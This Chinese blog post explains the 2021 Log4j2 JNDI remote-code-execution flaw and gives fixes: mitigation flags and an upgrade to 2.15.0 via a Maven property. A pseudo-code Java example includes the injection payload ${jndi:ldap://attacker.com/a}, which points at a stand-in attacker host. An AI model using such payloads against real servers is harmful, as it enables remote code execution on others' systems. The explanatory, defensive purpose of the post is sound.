长话短说吧。

相信大家已经被 Log4j2 的重大漏洞刷屏了,估计有不少小伙伴此前为了修 bug 已经累趴下了。很不幸,我的小老弟小二的 Spring Boot 项目中恰好用的就是 Log4j2,版本特喵的还是 2.14.1,在这次漏洞波及的版本范围之内。

第一时间从网上得知这个漏洞的消息后,小二吓尿了。赶紧跑过来问老王怎么解决。

老王先是给小二提供了一些临时性的建议,比如说:

JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

此后,老王时刻关注着 Log4j2 的官网和 Spring Boot GitHub 仓库的最新消息。

Java 后端开发的小伙伴应该都知道,Log4j、SLF4J、Logback 这 3 个日志组件是一个爹——Ceki Gulcu,但 Log4j 2 却是例外,它是 Apache 基金会的产品。

所以这波超级高危漏洞的锅必须得由 Apache 来背。并且波及范围非常广,已知受影响的应用程序和组件有:

  • Spring-boot-strater-log4j2
  • Apache Solr
  • Apache Flink
  • Apache Druid

并且只要是在 Log4j 2.x <= 2.14.1 之间的版本,都将受到影响——注定被载入史册的一波 bug 啊。

目前,Log4j2 的官网已经发布了 Log4j2 2.15.0 正式版,来解决此次漏洞。

那随着 Log4j2 2.15.0 正式版的发布,Spring Boot 的 GitHub 仓库提的这些关于 Log4j2 的 issue 都已经处于关闭状态了。

看到这些消息后,老王紧张的情绪一下子就缓解了下来,就像吃了一颗定心丸,赶紧去通知小二不用再提心吊胆了,直接一行代码搞定。

<properties><log4j2.version>2.15.0</log4j2.version>
</properties>

详情可参照 Spring Boot 官方这篇博客:

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

Gradle 构建的项目也有解决方案。

问题是解决了,不过老王没闲着。他从 Log4j2 官网公布的最新消息中琢磨出,本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码

那肯定会有小伙伴在好奇 JNDI 是什么东东?来看一下维基百科的解释。

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

利用下面这段代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。

public class VulnerableLog4jExampleHandler implements HttpHandler {static Logger log = Logger.getLogger(log4jExample.class.getName());/*** A simple HTTP endpoint that reads the request's User Agent and logs it back.** This is basically pseudo-code to explain the vulnerability, and not a full example.** @param he HTTP Request Object*/public void handle(HttpExchange he) throws IOException {String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}log.info("Request User Agent:" + userAgent);String response = "<h1>Hello There, " + userAgent + "!</h1>";he.sendResponseHeaders(200, response.length());OutputStream os = he.getResponseBody();os.write(response.getBytes());os.close();}
}

具体的攻击手段可以参考这里:

https://github.com/apache/pulsar/issues/13232

下图是程序猿阿朗画的简单的攻击链路步骤图。

感兴趣的小伙伴可以在本地复现一下,但千万不要不当利用哦!

再次提醒大家一下,排查自己的项目是否引入了 Apache log4j-core Jar 包。

如果存在依赖引入,且在受影响版本范围内,请升级到 Apache Log4j2 2.15.0 版本,目前已经 release。


没有什么使我停留——除了目的,纵然岸旁有玫瑰、有绿荫、有宁静的港湾,我是不系之舟

Log4j2突发重大漏洞相关推荐

  1. 我鮳,Log4j2突发重大漏洞,我们也中招了。。

    长话短说吧. 相信大家已经被 Log4j2 的重大漏洞刷屏了,估计有不少小伙伴此前为了修 bug 已经累趴下了.很不幸,我的小老弟小二的 Spring Boot 项目中恰好用的就是 Log4j2,版本 ...

  2. Log4j2突发重大漏洞之解决方案

    漏洞描述 Apache Log4j2是一款优秀的Java日志框架,与Logback平分秋色,大量主流的开源框架采用了Log4j2,像Apache Struts2.Apache Solr.Apache ...

  3. Spring Cloud Gateway 突发高危漏洞,下一代云原生网关恰逢其时?

    Spring Cloud Gateway 突发高危漏洞 Log4j2 的漏洞刚告一段落,Spring 官方在 2022 年 3 月 1 日发布了 Spring Cloud Gateway 的两个 CV ...

  4. 【java】log4j2核弹级漏洞原理和分析

    1.概述 转载:log4j2核弹级漏洞原理和分析 并且补充. 2.漏洞是怎么发现的? 3.漏洞问题重现 依赖如下 <dependencies><!-- https://mvnrepo ...

  5. Elasticsearch与最新的log4j2零日漏洞

    今天真的是焦头烂额,新出来的这个log4j2零日漏洞看起来杀伤力极大,影响了Apache Struts2, Apache Solr, Apache Druid, Apache Flink等重量级的开源 ...

  6. Apache Log4j2 核弹级漏洞

    近日,Apache Log4j2 的远程代码执行漏洞刷爆朋友圈,该漏洞一旦被攻击者利用会造成严重危害.而且此次漏洞影响巨大,很多网站如百度等都是此次 Log4j 远程代码执行漏洞的受害者,很多互联网企 ...

  7. log4j2的核弹漏洞是如何被发现的?

    开篇 上一篇文章log4j2的codeql规则我看了codeql官方的规则,然后发现了一个2020年的规则,从而推出很可能是codeql挖到的(现在哪个大佬还一个个代码看idea挖洞啊,那都是廉价安服 ...

  8. log4j2核弹级漏洞靶场复现(反弹shell)

    环境搭建: 本次漏洞复现采用vulfocus的log4j2靶场docker 使用Kali系统进行复现实验 搭建docker拉取漏洞镜像可参考以下链接: https://blog.csdn.net/we ...

  9. Log4j2核弹级漏洞线上修复方案!

    一.漏洞描述2月9日晚,Apache Log4j2反序列化远程代码执行漏洞细节已被公开,Apache Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利 ...

最新文章

  1. python怎么导入同一包的模块
  2. 五分钟学会centos配置gitlab
  3. app 名字 android,SiRi App For Android名字特殊符号_九游手机游戏
  4. android 滚动动画效果代码,Android Scroll滑动效果实例
  5. SVN中tag branch trunk用法详解
  6. input type='file' 上传文件时显示文件名及上传进度
  7. oracle clob 写入mongo,【Oracle】Varchar2/Blob/Clob用法详解
  8. SQL服务器名称的更改
  9. ZTree async中文乱码,ZTree reAsyncChildNodes中文乱码,zTree中文乱码
  10. linux 文件夹 775,Linux chmod目录权限命令图文详解
  11. SaaS服务和个性化需求,就不能鱼和熊掌兼得吗?
  12. CentOS在VMware上的安装和配置以及Xshell和Xftp的连接
  13. Linux 系统设置图形界面启动和黑窗口启动
  14. linux 下面dev文件,Linux下目录的含义,例如lib中放置了什么文件,dev是什么
  15. papervision3d 开发经典例子
  16. 中国一共有多少神仙!今天让大家开开眼!
  17. 为什么PPIO要设计支付代理节点?
  18. spring学期总结
  19. Unity获取安卓的MAC地址问题
  20. 小方块上升组成背景特效 html+css+js

热门文章

  1. [转载] 【零基础学爬虫】python中的yield详解
  2. 移除元素所有事件监听_DOM 事件模型或 DOM 事件机制
  3. php 查看扩展 代码,[扩展推荐] 使用 PHP Insights 在终端查看 PHP 项目代码质量
  4. ios上传文件云服务器上,ios文件上传服务器
  5. android9有深色模式吗,深色模式还是黑色模式?微信把所有人都搞懵了
  6. tgc 什么意思 tgt_TGT的完整形式是什么?
  7. Java字符串indexOf(int ch,int fromIndex)方法,带示例
  8. Java Thread类的静态void sleep(long time_in_ms)方法,带示例
  9. 教你写Bug,常见的 OOM 异常分析
  10. IDEA 终于支持中文版和 JDK 直接下载了(太方便了)附新版介绍视频